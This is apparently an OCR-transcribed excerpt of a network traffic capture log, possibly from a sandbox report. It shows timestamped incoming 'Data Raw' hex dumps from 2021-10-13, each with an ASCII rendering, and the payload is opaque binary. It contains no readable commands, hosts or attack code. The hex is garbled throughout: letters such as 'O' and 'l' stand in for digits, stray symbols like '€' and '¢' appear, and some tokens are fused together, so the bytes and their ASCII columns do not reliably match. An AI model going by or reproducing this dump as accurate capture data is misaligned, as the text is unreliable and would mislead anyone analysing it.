58 83 71 d0 8b c0 bf 35 73 f7 1e 35 1c cl 6e 33 fc 16 bf 88 fd 5e 28 ba cc 58 12 Oc 94 dO b8 43 12 7a b0 ef 9f b2 43 f1 e8
83 fb 07 b5 8c b3 2c 46 45 2e 67 03 33 18 6f dd 86 58 68 bf 62 41 6ff9 94 c1 dc bc 22 a2 11 d9 8d 90 d5 c8 1d 5f c4 12 ed
76 4e 4d 5f a5 b3 08 58 4e 28 ca 53 f3 9b fc 83 50 51 cd 43 f9 28 d6 5b f2 d1 32 43 f3 8b a8 01 0f 41 c4 28 42 2f 4d 53 c8
17 bl 2f fa d3 ec e1 83 1b 43 72 9a 67 €7 19 f4 ac d5 c1 c0 57 a8 28 bb 31 f2 af a6 cf 85 41 67 3e 4c f3 84 a4 6b c4 9f ce
5a 33 f2 1c 33 27 0d 55 2f 5¢ 1e 67 23 39 54
Data Ascii: r>Bx}(/4CJIZK7[&GvZ02dm}?j!@sngaXq5s5n3~(XCzC,FE.g3oXhbAo"_vNM_XN(SPQC([2CA(B/MS/CrgW(1Ag
>LkZ33'UNgH#IT

2021-10-13 13:52:00 UTC 404 IN Data Raw: 6¢ 51 Oa bf 76 f9 fd Ob ab 78 d7 89 c8 ef d0 a7 b1 90 95 e2 b5 ¢3 55 a0 09 b3 4a a9 32 5e 19 d7 35 cf ae 7f 8a
11 67 ee 8c d7 3c 41 93 8f 75 41 c7 75 2e 71 bc 32 9¢ 39 43 Oa 6¢ f5 87 ¢2 05 08 6a 2f el 58 bc 68 1a c2 2c el cf 84 a9
78 b9 64 aa db 09 8b 72 57 e5 a5 f2 03 ff db 77 0d 84 70 b8 69 9f 9f 46 65 2e bb 76 d1 2a 1a 9b 46 ba 39 51 25 66 50 30
29 c4 ad f8 46 37 bb 9d 04 Ob a7 8d 3d 4d el 05 77 08 91 c8 fd 4b 5e 51 16 31 1c 71 1d 6a 6f 81 1f b2 83 7a 23 55 60 4d
e5 fd aa cf 8f 2d 81 16 4f 57 dd 6f 2b 13 8b 31 25 b9 89 48 37 99 80 d7 74 9c 89 al ab 3b bd 12 60 db 54 7a 4f ea cO bc
a6 e3 66 19 3b 0b 4c 77 11 f3 ca 47 5a 68 cb 7b 4c e8 ec 92 d3 b0 57 ad 47 49 b8 1b 15 5¢ 22 cf 9a 53 f8 cd €9 6¢ 12 ca
76 74 01 17 ab 36 1f aa e0 a0 cc 95 85 2b 8f al 49 d4
Data Ascii: IQuxUJ275g<AuAu.q29Clj/Xh,xdrWwpiFe.v*F9Q%fP0)F7=MwK"Q1qgjoz#U M-OWo+1%H7t; TzOf;LWGZh{LW
GI\"SIvt6+

2021-10-13 13:52:00 UTC 405 IN Data Raw: 8e 52 6¢ 81 d0 5c 76 c0 8a 37 c7 57 5f cd de 54 fc 00 86 8e 92 al 1a b8 cb b8 82 f0O bf 66 c5 9e 62 52 5¢ 9a 98
fd 23 80 2d 43 5b 28 Ob cb 01 e7 29 20 55 24 33 fc ¢4 bb 16 e4 df 2c d6 e8 21 01 b9 c6 c7 6d 58 3f a0 ac 2a 5e 50 48 5¢
da f8 05 2a cb 2a b8 a0 fc 09 31 a5 1f fe ab 64 87 81 ec c2 d4 d1 el 7d 5¢ 66 cb 7a 51 1e 5d e3 3f a2 a4 40 5b 10 5f 9b f4
bl 1b aa e4 51 f4 0d 44 al fc d3 15 ¢3 03 2a 2b 7a Oe 45 a4 41 4d 3a 5b 5¢ 75 48 2a 15 ed 2f 7d 31 6¢ 29 87 60 9a 57 f3
98 b6 d7 49 63 17 2f 7d cf 47 9f 3c b4 Ob aa 6d f4 b2 7c 4c 59 f6 cb 0d Oe 99 7b b4 7c 4b e8 ad 38 9e d9 14 63 62 2d fb 10
el 3b ae d1 c8 a3 a0 59 84 cf 7c ab 87 1a 28 64 5c¢ d3 3f 2d e0 a5 de d2 d9 51 7b ba a3 bd c8 d4 5e 02 58 33 89 7a f0 78
60 27 bc 76 34 03 0f 1d 71 40 e2 e3 45 7e ec aa
Data Ascii: RIW7W_TfbRW-C[() U$3,!mX?**PH\*1d}\zQ]?@[_QD*+zEAM:[\uH*/}11)"Wic/}G<m|LY{|K8cb-;Y|(d\?-Q{"X3z
X 'VAqQ@E~
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Timestamp transferred Direction Data

2021-10-13 13:52:00 UTC 406 IN Data Raw: 28 48 07 fc 85 1a 53 d9 07 7c 5d b9 dc 91 5¢ 53 07 79 27 d3 d5 96 10 5a d5 2d 4f 42 2e 02 d1 c1 69 4e 17 ba
dc 7b 56 8 9a 90 ff 68 d5 fd 36 56 90 53 36 78 5f 25 37 21 54 99 6 09 6¢ 25 d3 05 cb 02 40 26 2d 76 b4 53 82 €3 3d 64
a4 ed 3e b9 38 7f 1f b6 ad ab 07 38 6e f6 3a 27 07 3f e7 ef bf Oe f1 68 35 48 91 69 91 09 45 1e bc ea 85 20 82 62 12 bf 35
98 eb a6 8f 1b c3 c3 41 c9 0a 61 e7 b4 34 d7 45 1f 11 83 71 a9 20 c3 9e fa 7b 6a 87 b4 6e ec f9 28 83 91 6f el de 5b f6 76
ad ee 31 ¢7 27 fb 29 f3 00 cb 4a 25 9c d7 9c 83 d9 20 21 c8 9b 59 a8 53 d5 3a 7b e8 1d b7 a7 a0 e5 fb 86 a5 Of 2a ad cd
84 71 d3 07 ac a2 c8 fc 1a 40 51 cd 9d 8e 03 4e 5b f2 0f 8e 9f 39 d9 25 84 e3 1b 49 bf el 77 a5 1a 4e 45 59 70 fb 9b 2b 30
aa f7 af 22 cd 8f 96 15 af 27 05 ce 23 fd 6d ad
Data Ascii: (HS|]\Sy'Z-OB.iN{Vh6VS6x_%7!TI%@&-vS=d>88n:'"?h5HIE b5Aa4E(q {jn(o[v1)J% !YS:{*q@QN[9%IwN
EYp+0"#m

2021-10-13 13:52:00 UTC 408 IN Data Raw: 02 23 6f 5¢ 0f 76 58 88 bc b8 95 80 13 aa 39 al 8f 98 8d 5 1e 8d ea c5 68 a0 €6 06 c9 e5 3f ba 97 a4 4f 3b e3
8b 85 c6 77 78 50 cc 03 45 aa a3 33 34 82 67 €8 54 26 5e 8b 0d 36 c7 24 b4 67 f6 ad a6 ea 01 69 cb 10 2 11 Oe 33 97 41
le 51 1c 77 52 8a 81 4d 5b fa e5 3c be f5 93 60 92 6¢ ef 46 a6 dO f6 00 8d 64 e7 be 17 7e 80 d5 6e ea e0 08 8 6¢ 09 8b
78 16 b5 06 86 19 9b 86 19 9d 62 c2 1f bc ea 95 6a c0 41 89 9e 58 2 14 13 3a a9 ca 57 ff 45 b0 b2 ec b6 17 87 d2 4d 38
5a 2a c7 e2 71 b6 4f 6a 8b c4 46 69 cc 97 49 Oe e8 92 10 78 8e 61 51 2d 52 37 ac 4d b6 1c 88 2f bc 33 ¢6 72 b9 88 75 88
6¢ b6 05 b7 e0 e3 d2 f4 ec 13 50 27 el 54 28 6¢ 2a 8b e8 8c d6 7c 09 ¢9 15 77 02 b0 2a 19 81 8e 3b 95 23 68 6b 6¢ 6€ 73
d7 c4 2e b5 ff 51 1c 7f 74 67 f5 8d 19 66 ce 24 2b c2
Data Ascii: #0\WX9h?0;wxPE34gT&"6$gi3BAQWRM[<'IFd~nIxbjAX:WEMB8Z*qOjFilxaQ-R7M/3rulP'T(I*|w*;#hkins.Qtgf$+

2021-10-13 13:52:00 UTC 409 IN Data Raw: 29 72 fO 67 b1 48 47 a8 4c 99 cb dc ff b9 28 ba 65 af dc Of d3 1f df 3f 38 cf e2 7c d8 21 b6 3b 5a 33 2f d4 ba 7f
Oa eb a9 79 f7 98 57 b5 1b 48 d1 20 9a 7b 1b 6d a4 19 97 d3 5b 82 fO 3c a2 0d 6e 2 61 9c 4a 4e 08 fd 87 e5 9b 44 81 7a
da 6e 18 a0 75 fe 24 9b 32 45 21 58 e3 4c 67 a4 ed f1 77 27 d8 c3 07 71 03 c5 83 f9 1f a2 bd 19 5b Oe 8e a0 76 d1 69 05
c4 3f a0 08 e2 29 43 6d cf f4 e0 c2 d4 d5 Oe 8a 42 5d 10 17 5d 5d a2 1c e4 17 3 0d 9f 14 5f 5b b3 db 42 27 71 f0 5a 1a 53
4a 55 c4 7b c8 80 ee b8 3d 21 f2 b8 71 f4 6b 69 3b 75 fb 3c a7 81 ¢3 95 a4 57 93 a4 30 44 fa df 75 f3 36 4b d6 71 62 28 a3
38 ae €859 c7 fb 11 34 e3 de 06 8c ce al 79 7a bb 31 79 e4 1b 8d cc 05 75 8e 19 dd Of 2d 20 d6 9f 92 bb 44 a9 c4 9b 2f
3e 86 31 f6 cc bc d4 38 d8 f1 c8 a3 2e cf c8
Data Ascii: )rgHGL(e?8|!;Z3/yWH {m[<naJNDznu$2E!XLgw'q[vi?)CmB]]]_[B'qZSJU{=!qki;u<WO0Du6Kqgb(8Y4yz1lyu- D/>18.

2021-10-13 13:52:00 UTC 410 IN Data Raw: 02 f9 b3 c6 3c 31 22 32 92 33 19 57 04 3e f7 b5 97 25 34 39 44 c7 Oe 47 f8 a8 5f d2 7a 2a 27 8e d2 ab b5 db ec
0f 5e 35 ce 61 ff €6 c7 b5 81 de 59 67 30 27 d3 07 b8 d8 6¢c 64 a9 bl c1 ea Oa d1 c2 b9 4e 6¢ 6¢ a3 2d 46 65 9f 86 9f 68
da 29 23 84 13 97 b1 83 b3 50 27 28 f1 29 a6 82 aa 57 6e 48 54 d7 1b 73 c1 24 61 7d e5 Ob f1 1a 97 12 b5 f7 4a c¢3 56 2b
78573 92 14 a4 82 13 3b 13 18 9b 0d 1e 94 cf b2 4a 12 20 18 43 39 d9 43 09 c6 61 65 52 2b 41 ca ea 21 d4 43 24 67 1la
29 cb d5 fe ¢3 04 7f c4 3b 70 e5 9e f4 69 7c 74 d2 ac 2¢ 59 3d 5 5d 55 98 93 Oa be ba 38 ¢8 6a a5 50 70 88 3b 46 d2 fa
2a 54 d7 86 bb b9 e9 6d 6f 56 df 11 f4 41 1a 18 ab 08 12 31 7f Of 58 5b c6 ca 84 76 04 4c af ¢9 e3 85 d5 71 50 e5 52 5d 37
57 e2 f0 51 0a 95 c5 9d f1 a4 80 5¢ 14 43 36 5¢ fd
Data Ascii: <1"23W>%49DG_z*"5aYg0'ldNII-Feh)#P'()WnHTs$a}JV+s;J C9CaeR+AICSQ);pit,Y=]U8jPp;F*TmoVA
1X[VLgPR]7WQ\C6\

2021-10-13 13:52:00 UTC 411 IN Data Raw: ca al b3 02 59 99 65 89 fa df c9 5e b1 53 df 75 71 48 4c 73 4d 61 44 08 55 b0 00 a5 c1 f0 04 5b a0 2c 7f 87 7e
36 f8 2c 00 78 b0 a2 c7 ed aa 39 f1 80 9e fd 70 27 b0 6a f5 23 a3 85 69 09 6e 4a 31 05 6¢ d7 Ob bf 76 79 f9 77 78 50 e5 7C
45 aa ab b2 30 b7 39 3 89 2b 6d fe 67 09 1c 41 49 2e 09 52 76 7f 95 92 4c 91 4b 10 ba a3 44 17 f6 3d 2d 13 ad cc 22 27
7b 77 3 fc 47 6¢ e5 3e 84 6¢ ef dd de 2f 09 31 22 68 1a 41 6b 39 40 af dc 3d a9 d2 01 ae ce f3 64 ce 77 ad 2c 6d 4e 4e 46
ef 6a 95 3d 4d d3 af 12 cb 42 49 a4 3¢ 97 78 c6 c5 56 be 42 a2 79 58 eb 71 al e5 b2 16 5d e5 24 c5 78 e2 71 b6 30 f1 86
74 51 0f 4f 81 0d a0 e5 6b 9d 7a f2 al 2 Ob 16 89 23 f9 fd e3 Ob 52 f4 b8 3e 21 01 b7 7e 6a ca bb 43 dd 6b f1 00 97 b9 fa
ad d8 9d 1b b1 6b 89 29 d4 10 08 72 81 b5 06
Data Ascii: Ye"SugHLsMaDU[,~6,x9p'j#inJ1lvywxPpE09+mgAl.RVLKD=-"{wGI>I/1"hAk9@=dw,mNNFj=MBI<xVByXq]
$xq0tQOkz#R>!~CKK)r

2021-10-13 13:52:00 UTC 412 IN Data Raw: c7 3e fO 2a 37 4a a4 73 91 d6 fb f4 c9 84 f2 8e 01 5a 57 cb 6b 14 92 18 59 a2 b7 3f 4e 35 18 3f 62 29 44 36 Of
d2 86 7b 37 a0 d4 6b fb e8 ad 39 44 1f b4 be cd 2d a9 10 e5 Ob al d8 7b Oa b8 fb b8 26 c7 3e 87 03 al 82 f5 ee d7 99 c2
60 71 51 1d 6b d5 14 dd 3f cb 59 d7 5a a7 c3 f4 6f 87 1a 47 50 85 d7 87 al 35 f8 2c d3 31 2d a4 80 13 55 6b 7c 5b cc e4
d2 1b 22 fd 8e 94 f6 Oe 08 d2 3d c1 c6 ac d5 2c 63 Oe 76 7a ba e3 Oe 83 57 b4 6e 27 bb f7 3c dd 39 38 8a d3 69 48 35 84
cf 71 4f 65 f6 02 1d 55 3b f4 cf 60 80 36 18 28 a9 10 f6 68 28 13 ad f6 ba 37 40 8f 07 €3 29 75 el a7 9b c7 8 f7 00 2f 5b
4d 8d 30 e7 be 17 fd ac 8d fa 29 ef e6 23 e0 8c 52 Oc 6¢ 12 91 79 b6 64 9d 15 67 9d 3d 6b 4d 4c b4 12 cb 2b 6 79 e7 26
6f 88 3a 3c 35 56 68 96 00 45 d8 b6 e8 ec 00 f2 b3
Data Ascii: >*7JsZWKkY?N5?b)D6{7k9D-{&>"qQk?YZoGP5,1-UK|["'=,cvzZWn'<98iH5q0eU; 6(h(7@)u/[MO)#Rlydg=kML
+y&0:<5VhE

2021-10-13 13:52:00 UTC 413 IN Data Raw: 38 b8 12 ba b0 20 bd 7c ab 39 59 72 4b d3 ea 2e 2a a6 88 cb b5 2a 4f 84 Ob 3e 57 fc 9d 10 3d 19 20 2e 10 8e
b5 c6 fe 12 7c fc Oc 15 3c ea 3e aa 4d 3a 06 dd 01 1d 7a 2a e0 5e 40 a4 f4 20 08 48 85 51 9e 46 f9 76 a4 5b f2 df a2 53
ae 87 7e Oc ¢6 16 07 8a cf 4f b9 f8 7c 34 bc 40 dO 26 7e ed cb 33 af 72 9e 67 e7 2a 6f 74 05 ce f8 85 c2 d3 1d cc f2 ec 91
7a 4e c8 22 f8 bl 8a 28 ae 16 0a 62 bd e2 ba e7 47 {7 6a 86 65 4e fc 29 11 99 58 19 58 3f f8 b5 91 f8 28 1c ¢2 3a 7c cd c7
06 36 23 d7 57 25 17 a2 43 48 68 a2 b9 d6 31 fc a4 ab 50 77 55 40 13 24 e7 cc 44 c7 ce 3d 5a 8e 2f a4 de 68 92 6e b0 ch
07 20 d8 36 46 40 1c 50 e5 b9 97 7d 8e 9b cc da 6 53 07 5b 66 7e da 41 55 65 Oc f4 b0 cc 9d 5f 99 74 d7 16 20 76 24 63
5f 3 90 a2 f3 24 5b 10 59 a2 fc d9 4f 4d 6d 2c 5¢
Data Ascii: 8 |9YrK.*O>W= .|<>M:z**@ HQFV[S~O|4@&~3rg*otzN"(bGjeN)XX?(:|6#W%CHh1PwU@$D=2/hn 6F@P}S[
f~AUe_t v$c_$[YOMm,\

2021-10-13 13:52:00 UTC 415 IN Data Raw: d3 f5 73 c0 98 25 b7 aa cc 10 fa e9 a2 e4 9c ba ee 11 8e c2 ce 25 0d 3d c0 c1 30 02 b4 0f 34 8a 7d e2 8e 61 fc
80 d7 56 8e 78 ca 1b f4 9f eb 33 63 35 0f 17 5e Oc b5 32 ad 4b 94 59 46 Ob 7b c4 e8 c0 95 92 ad 64 84 25 9a 49 89 05 92
c9 b8 df 05 0a 9a b2 96 fb 1f 51 3b 68 ab c8 1e 09 80 b3 44 16 52 ff 1c 7b 2e Oa e2 47 d2 ed b0 20 13 39 f0 cO 44 4b 6f bl
1f 4c ba f2 3d 88 88 32 e2 ed 3d 31 52 2c 28 9a a9 01 72 c0 34 f7 71 de c7 96 a2 93 bd 71 28 aa 5e 54 17 cf a5 8b cf 38
c7 2efd ad 40 a5 70 bd 3e 28 48 84 82 67 bc 5a ed 98 87 23 a9 c0 35 3¢ 93 33 db ¢7 5a 5c¢ bf 53 09 ef 68 23 6f fe d6 1b
ab eb 88 c8 d2 e7 24 b7 20 96 12 c1 b4 52 4a 92 55 09 d1 3c 39 fb 09 82 e5 27 13 18 23 89 66 1b 89 f3 48 c0 69 89 33 48
le bc d2 44 f4 7a 25 3f 40 76 15 44 8a 16 6d bl 85
Data Ascii: s%%=04}aVx3c5"2KYF{d%IQ;hDR{.G 9DKoL=2=1R,(r4qq("T8.@p>(HgZ#5<3Z\Sh#0$ RIU<9'#fHi3HDz%?@
vDm

2021-10-13 13:52:00 UTC 416 IN Data Raw: 4a 9d 07 16 e4 3a e3 6a 4c b5 ac Oc ad 5e 1a 90 50 aa 3b cb cc 23 29 68 ee 93 45 93 cf df fc 51 18 e9 24 da 7f
ef 2f 74 84 7d 2d 87 cf 4e 7b 06 ad 5e cf 62 93 94 66 38 b2 e3 03 fa 9d 4e be 63 78 b6 2e 01 99 f7 8¢ f5 5e 46 7b dO a7 b6
17 fc 81 fa eb 5¢ 61 ef b9 ec 7f da e4 01 05 e4 85 0Of 4e 92 d3 b8 b3 89 a7 4d 2a e2 54 75 c9 2a 26 1a 41 1e 99 18 cl a7
2c cf 2b a5 55 08 d4 b6 9c 0f 87 12 20 3f c4 94 a3 7b 7b e8 87 ed 50 40 e0 ec aa b4 a4 32 47 f0 89 46 72 15 14 ff e6 0d
45 0f 68 7a d5 03 09 49 52 44 89 85 68 cf a0 1a af c2 c6 6e 24 7a a8 98 d5 48 20 3c 51 a0 e9 96 4a a9 3c 1f e5 a9 Oa 44
d9 a2 27 fc bb 11 19 54 92 55 41 84 12 f6 fO b6 ad bc 32 6a 42 97 f6 15 39 b9 2e 6¢ 8c 7d 66 78 82 f6 00 02 1la 2b e9 ab
1321 1f b4 10 73 df a9 19 ed 72 ad ed 8e 77 8c a2
Data Ascii: J;jL"P;#)hEQ$/t}-N{"bf8Ncx. F{\aNM*Tu*&A,+U ?{{P@2GFrEhzIRDhn$zH <QJ<D'TUA2jBI.[}fx+!srw
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:00 UTC 417 IN Data Raw: 9b 2e 34 6f c1 bf 35 15 25 01 95 b9 ff 1a 89 9a 93 f2 7b 7f 7f be be 96 d5 9f a4 3b c7 42 b0 fa 7b el 69 9b 35
dc dd 12 6b 02 f2 b1 8d 38 61 e9 fc ed 72 55 ba f4 67 bd 85 Ob d6 30 df 6d 6f 85 dd 40 7b 1f 65 5¢ 43 54 12 27 f4 2d 40 74
8 94 de b6 98 82 ba fa 20 e7 ca 4d Oe e0 e4 98 fd d6 30 69 38 4d d4 c0 36 85 b7 71 b0 56 10 a7 52 50 8b 10 8b 93 40 11
7b a5 1a 4b 71 76 e9 ee 96 21 a0 62 60 43 41 41 ee a2 ca 26 62 84 10 8e 8c 21 e8 a4 cc f2 cf 91 7a 6b c8 22 d5 b0 8a 0d
cf 90 5e eb f8 bb 4e b6 12 ba 27 67 f8 ¢8 3d 55 98 dc ba 1d 50 21 20 9a 7b 1b 6d 98 4b f6 d3 b0 e8 f0 36 3b d5 b8 f1 ae
d7 4c dd 87 a0 c9 7c 3e 42 2e fa 64 77 5d 50 fc dO 86 33 ec 28 ba 80 9c al fd d1 f4 2a bf 8¢ 3b 86 17 fa 00 ab 14 ef b4 fe
el 8d f6 a0 84 67 33 a6 ca 68 46 4f ed 00 e6 a2
Data Ascii: .405%{;B{i5k8arUg0mo@{e\CT'-@t M0i8M6qVRP@{Kqv!b'CAA&b!zk"*N'g=UP! {mK6;L|>B.dw]P3(*;g3hFO

2021-10-13 13:52:00 UTC 419 IN Data Raw: cc b2 4f 36 6d 63 8f 7c cd 85 a8 2e Oe 5f 8b 32 65 08 c2 e6 28 4d e5 ed 34 10 da 1c 34 €5 91 77 96 db a0 0f 57
ec a7 e970al b8 fle9 a2 3e 49 5a 35 1d 8e 6e 1d 09 86 2c 4d 69 47 bb 63 d3 f4 e7 d4 91 e4 96 57 80 fb 8d 34 54 ca 27
33 6e 68 b7 bb 8f 82 73 7a 5¢ c8 f2 fd 3a 26 5a 07 f4 2f 7f 7 27 93 4a 11 ca 28 8b 45 8c a2 28 ee 2 fe 0d 93 ed ff c3 69
04 9c le 76 1f 6d 72 bf de d7 9f 38 2d 06 2d 1b 4a 53 f4 c9 31 94 2f e5 57 Oc 3a 2e 6e 2f 7f 5¢ 20 bb 15 d4 el ca 9f 1a 22
7a ec 87 ef d3 fb c9 ce 77 df 62 ca 00 8c 3a e6 ad c2 c3 ac 07 84 35 db 58 00 d4 5a 58 8b 20 f4 b6 d1 dO d1 7b 6d ce 23
3e 5¢ 52 dd a5 09 65 81 28 8b 2 91 a6 c2 03 3e 43 87 75 6b f4 39 Oc fa f7 10 a4 b1 88 42 ee 9e 26 2d 26 60 c5 c8 18 cd
1feb 29 1a 32 1f bc 19 65 ac 05 07 15 87 32 6e
Data Ascii: O6mc|._2e(M44wWp>IZ5n,MiGcWA4T'3nhsz\:&Z/' J(E(ivmr8--JS1/W:.n/\ "zwb:5XZX {m#>\Re(>Cuk9B&-&)2e2n

2021-10-13 13:52:00 UTC 420 IN Data Raw: 1f 7d 03 1f ce da f1 1a 8e Oa 8e aa 89 29 ab e7 c8 f0 6d d5 55 a5 99 74 d7 15 10 17 77 6d 5d e3 e2 cf 83 73 a4
ef 82 3f 3e 20 4a 27 2 65 1d 71 43 e5 a5 b9 42 7 fc d5 fb €9 2d 09 2e b9 75 83 60 c1 8d 79 2d 82 10 5d aa 4c 14 ae 85 cf
32 efeaed 23 d7 c2f9 94 81 78 ¢7 3c 93 f8 cO b1 ef b6 54 f6 07 c1 9 10 c9 67 Of 46 63 44 al b6 17 ff 3f 98 b1 b4 5¢c 48
2d a9 18 f9 98 3a aa a5 5a 52 22 f9 4c b8 b3 87 25 29 03 87 ¢1 37 99 79 4d 2c c2 1d 59 c3 b4 al 04 3c 51 a5 76 11 b1 46
de 5e 6f af 3f 7a 28 e2 09 44 75 50 84 bf ea aa 97 3e 39 39 f1 5d d1 14 eb e4 72 95 a8 3b 82 29 d2 b7 f4 ac 39 53 07 00
ba 82 76 7e 39 27 5d af f8 2a 44 39 20 f7 6¢ 56 bf 3f d4 c3 03 1f 37 e1 69 39 b1 9a 8a 96 e5 ed 61 de c9 12 f2 bd b0 5e d0O
cl 15 da 99 fb 40 fa 7e 27 f8 b3 7c 67 18 b2
Data Ascii: })mUtwm]s?> J'eqCB-.u’y-]L2#x<TgFcD?\H-:ZR"L%)7yM,Y<QvF*0?z(DuP>99]r;)9Sv~9']*D9 IV?7i9a"@~'|g

2021-10-13 13:52:00 UTC 421 IN Data Raw: 60 73 31 03 a8 47 bd 80 54 73 51 00 fc 6a el e8 13 1b d0 41 88 11 81 f3 48 c6 b6 f4 Ob 2a el 43 d7 6b c9 e4
d7 c0 34 bb 11 74 8a 70 e7 fc 90 4a 9e 1c 32 Of 3b f4 a5 ff 4c 85 ce 1c 67 bf 47 12 77 2e ba 6¢ 5b 7f 8e 35 d0 0d fb 6f b2
4d 30 e8 11 ac 68 ba 09 33 72 e2 f2 7d 5b b5 12 03 f8 90 6¢ 19 3e 24 cc 90 ad 12 df 5a 64 15 ¢8 90 e2 4f 98 12 a7 46 c9
50 23 b0 84 d5 b6 5e 78 50 29 f1 9f b3 8d da 8c 14 12 b4 0d 8b cb 09 9e 4c 73 fO 24 87 23 c0 95 3c 12 b8 74 f0 1e d6 e2
21 67 bf a2 23 2b 37 91 7d 14 77 e6 19 af ae 06 89 20 54 23 e8 77 ce 8c a7 96 3b 86 41 67 3d c0 a5 e2 aa 16 7c bb a9 d8
b6 2d 91 7e a2 09 bb 95 51 fb 16 dc ba 93 dd d8 f7 f8 71 71 6d 79 cd 7b 84 44 82 9a bf 31 7d d9 c9 dd 5¢ 11 92 05 4f c9
29 ce 44 fb ff 3c fe 18 ca 75 20 3f 1c e8 3b f1 d4 e2
Data Ascii: 's1GTsQjAH*Ck4tpJ2;LgGw.I[50MOh3r}[I>$ZdOFP# xP) Ls$#<tig#+7}w T#w;Ag=|-~Qqgmy{D1}\O)D<u ?;

2021-10-13 13:52:00 UTC 422 IN Data Raw: 76 6e 55 c1 bc 1f 7e 4d 7b 24 26 b1 04 16 84 41 e6 3a 07 60 d2 ad 41 43 62 68 70 41 bb ab cd 8e 75 c1 8f a8
5c 6d 8a 4f cd 10 d2 fb f0 a1 86 6¢ 8d 19 1d c6 6b d1 5b 98 6d ¢3 41 fd cO €9 00 9d 77 b1 78 b6 78 be 13 2c 93 a4 36 fc
04 62 7f 30 b3 4a cc 96 6d be 32 fd 05 c4 5b ea b3 dd 4b 2a a9 9a 45 68 7d c1 fO c7 05 df cb 84 12 68 ee b6 6b 7 60 12
4228 f1e9 1e 749 e3 7b 99 29 {7 1a 68 24 bd 29 9c e8 bf 3b f5 fb 1c 53 f9 6d 65 d9 48 05 d1 al 27 6f 06 9c 95 ae 6e ac
€9 6¢c 73 7b 1e 32 74 52 51 1c d1 af 0a 76 cd e6 99 6¢ 59 19 39 5a ¢7 92 90 00 8e bb 38 d6 2a 9e e9 a0 2d 78 2c 1f 7a 2d
54 bf 9a 94 75 61 be 51 82 10 21 38 3f 18 d6 a7 f0 87 d8 5a d3 9c cf a5 25 cf 38 ¢7 66 ff ad 40 a5 22 9e 3e 28 13 50 ea 19
ee 5a ed 98 82 23 a9 a3 81 e6 56 15 ac ad e5 4f 66
Data Ascii: vnU~M{$&A:"ACbhpAu\mOIk[mAwxx,6b0Im2[K*Eh}hk B(t{)h$);SmeH'onls{2tRQVIY9Z8*-x,z-TuaQ!8?Z%8f@">
(PZ#VOf

2021-10-13 13:52:00 UTC 424 IN Data Raw: 11 b5 fe 18 2d 38 5d 23 41 ec e8 63 3d 9 ac 2f a4 66 2f fe 9a b0 cb 6d 71 d8 e6 94 ec b2 47 4c 5a 1e f0 03 32
€377 e5302e a3 62 38 4a a2 e5 74 87 81 e8 cc 55 2d 34 el 20 2d 46 ae 2c b5 be 4e 87 e2 78 8e 5b 9d 97 27 a4 3e 07
7 20 49 52 7a bb 3 21 bd 4c 02 03 2a c2 be 93 95 af 66 70 eb bf cd 01 3c f4 32 3f f3 10 81 15 d6 78 b3 09 93 01 3c b7 51
ca 99 94 eb 33 c1 54 b6 c6 bc b6 b9 95 97 2d 7b d1 9e f1 b4 05 85 4c f2 36 5¢ 49 82 ad 3b 43 al d9 e4 62 2d 22 dd 31 4a
16 8a a4 81 5d 25 bf 5¢c bb 73 03 5d 55 77 0a 84 88 97 al 40 83 92 b9 e2 35 94 f6 26 26 c1 3d 91 44 69 80 d2 8e 6b 1f ac
7a 28 5¢c 9c b7 2a a5 c6 5a 31 b8 95 65 ef d7 78 9b e7 7e a4 al 84 9c d2 99 7f 4b 23 d6 a0 95 5f da c1 6a 37 fa fa f3 7c b7
a7 fd 3b 4b 00 14 a9 b2 fe bb b0 f6 19 a5 8a 0d b3
Data Ascii: -8J#Ac=/fimqGLZ2w0.b8JtU-4 -F,NX["> IRZ!L*fp<2?x<Q3T-{L6\I;Cb-"1J]%\s]JUw@5&&=Dikz(\*Z1ex~K#_j7|;K

2021-10-13 13:52:00 UTC 425 IN Data Raw: a7 79 dc db dd c3 df 0d 22 cd cO 2d b4 99 7d 54 e7 d6 b6 95 96 Ob e5 3a 7b 9e 1f 5a 49 1c b9 18 eb 29 22 3c
ad 4f 16 e7 81 54 8 44 bf 72 61 el 82 13 17 94 87 0f 19 8b 9b b7 49 b4 3d 4f ba 8b 43 d7 d5 99 64 cd c0 bf 5d 54 9d 30
50 8e 3c fb cc c1 40 bb 4a a5 1c d3 a3 9c d5 f7 b5 8a 95 67 78 fa 11 6a b8 c9 b6 99 2d aa 6b e2 6f bl e5 5¢ 0d 12 59 84
b2 69 33 25 39 3e c0 ef d6 82 Oe 92 90 85 dd 04 4c b6 b6 a8 b3 3e 12 16 7f 9f 4b 3e e2 12 05 c9 da 09 5f cf b9 39 cc 12
bf 35 c6 a2 9f 42 6b c0 bd 25 bc 08 63 Oe 33 14 a2 bl 4f 9b d9 4f 87 74 1d 4d 6d c5 97 3c 03 1d 17 d9 7e ae 98 90 Oc 27
d8 43 25 cc ee a2 f9 47 al 4a 99 cb d4 6¢ fd 13 6a 08 ac 3d 55 8¢ 2b 67 69 6e 44 3a cf 22 dd eb f8 03 ¢5 21 55 6a 14 82
Oc 43 b4 f6 98 dc 83 e5 €9 d6 5 f4 7a 71 6d cb 3e 8f 81
Data Ascii: y"-}T:{ZI1)"<OTDral=0Cd]TOP<@Jgxj-ko\Yi3%9>L>K>_95Bk%c300tMm<~'C%GJlj=U+ginD:"IUjCzgm>

2021-10-13 13:52:00 UTC 426 IN Data Raw: 4a 00 0d a9 b2 0 54 7c 63 56 86 d7 c1 22 d1 c3 ec 6d 13 4c b4 7c fe 63 7d 8a 03 84 ab 14 bl df 04 e8 53 dc ag
24 30 0 ae 3e b5 16 b1 06 cc e7 74 ca 5¢ 8e 45 8e 49 80 ¢6 b0 €5 54 55 eb 3b 13 98 dc 64 17 07 d7 69 03 8b f1 1a a8 07
f4 al a0 49 Ob df ea c2 ac €0 a9 12 12 cb 41 4e b1 8a 72 91 7d ¢5 91 70 af fe 13 39 bb €0 Oc 44 77 16 2e b3 0b 17 7c 95
71 52 4d 26 40 04 3f 69 a8 fd c2 Ob b5 96 06 14 7b 9e ae 97 05 a8 cb 84 c2 60 0f el a8 b8 54 25 0f 26 b2 dd ac e5 88 bb
13 7 be 95 17 4f ad b2 18 8¢ 55 66 73 8b 8 5f 99 d9 ee 48 ee 8¢ 26 d2 f1 32 95 8f 9b 18 76 6b b4 Se b3 e6 28 1f 36 a2
1e ff Ob dc 5e 8f 22 bf 4c ee b7 8b a9 6e d8 38 1b 42 b4 d3 3d c7 5f 24 Oe 95 9b f2 f2 5f 90 e2 59 €6 ce 75 fc 07 db €9 88
